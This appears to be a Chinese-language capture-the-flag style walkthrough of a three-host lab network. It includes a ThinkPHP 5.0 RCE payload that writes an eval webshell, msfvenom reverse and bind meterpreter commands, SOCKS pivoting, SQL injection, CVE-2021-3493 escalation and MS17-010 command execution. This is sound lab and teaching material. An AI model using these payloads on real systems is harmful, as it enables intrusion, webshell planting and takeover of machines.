0x00 环境搭建
本身作者环境已经部署完成,只需要更改IP地址及服务策略即可正常使用。原文地址公众号teamssix,回复cfs即可。
我这里将操作时将环境做了一定调整,将Target 1
的Vmnet1
网卡改成了VMnet8
,其余的保持不变,另外还需要在Target 1
的宝塔面板中加入对应的IP
地址
另外如果靶机开机时没有IP地址,也需要自己手动将IP地址配置完成,确保攻击环境和Targert 1
能通信,Target 2
可以和Target 1
与Target 3
可以相互通信。
0x01 Target 1
直接访问目标,为ThinkPHP v5.0
EXP
直接打就行,/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=system("echo '<?php @eval(\$_POST[1]);?>' > 111.php");
成功拿到shell
,使用菜刀连上
因为php
是7
以上的版本,所以正常菜刀连不上,这里我用的CKnife
,如果连不上的可以使用蚁剑。
接下来制作马让它在MSF
中上线msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.181.240 lport=8888 -f elf > c7.elf
接着尝试提权。。。哎,失败了,centos 7
提权真的麻烦,有几个exp
在本机环境复现ok
,到了这个环境里面就无法提权了,暂时先放放,恶心坏了。
0x02 Target 2
拿下Target 1
权限后,先配置去往Target 2
的路由
查看路由是否配置成功
通过设置socks
,访问Target2
msf6 > use auxiliary/server/
msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > exploit
[*] Auxiliary module running as background job 1.
此时可以通过配置/etc/proxychans.conf
,可以使kali
对应的流量通过session
转发至Target 2
通过proxychains
命令执行nmap
,等待扫描结果完成,时间较长,也可以直接扫靶机
root@kali191a:~# proxychains nmap -Pn -sT 192.168.22.0/24 -p 22,80 --open
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2021-07-06 03:37 EDT
Nmap scan report for 192.168.22.22
Host is up (0.033s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
......
接着在浏览器在设置socks
代理,访问Target 2
直接访问就可以成功
这里作者给了一个提示,按F12
审计时可以看到
单引号直接报错
经过一翻手工注入,拿到用户名密码为admin/123qwe
登陆后台,通过百度搜索cms
得知后台为admini
,使用r=
进行传参找到后台
进入后台后,通过模板进行getshell
尝试访问
接着使用sockscap
软件将菜刀软件进行代理转发,菜刀即可连接成功,或者使用蚁剑直接设置代理也可以。
接下来再次制作msf
马,使其上线至msf
,这次由于目标在内网,所以需要使用bind_tcp
正向连接,msfvenom -p linux/x64/meterpreter/bind_tcp lport=4567 -f elf > uu.elf
接着将马传入菜刀中,运行即可(这里有一点需要注意,菜刀通过socks时连接断断续续的,原因未知,但是不影响传马)
成功在msf
上线,接着使用CVE-2021-3493
提权
成功获取root
权限
0x03 Target 3
在获取第二台主机权限后,继续扫描内网信息,添加路由,获取内网主机信息。
放部分关键命令,proxychains nmap -Pn -sT 192.168.33.33 --open
有445
端口,上永恒之蓝,但是发现无法接连到shell
,于是使用另外一个模块admin/smb/ms17_010_command
msf6 > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > exploit
[*] 192.168.33.33:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[*] 192.168.33.33:445 - Built a write-what-where primitive...
[+] 192.168.33.33:445 - Overwrite complete... SYSTEM session obtained!
[+] 192.168.33.33:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.33.33:445 - Getting the command output...
[*] 192.168.33.33:445 - Executing cleanup...
[+] 192.168.33.33:445 - Cleanup was successful
[+] 192.168.33.33:445 - Command completed successfully!
[*] 192.168.33.33:445 - Output for "whoami":
nt authority\system
[*] 192.168.33.33:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) >
成功看到可以成功执行命令。
当然为了更好的解决问题,测试后发现,重新使用proxychains
再开启一个msfconsole
即可利用ms17-010
成功(这里反复多测试了几次后发现,似乎不太稳定,时行时不行)。
暂时先这样吧,Centos7
提权留待以后再弄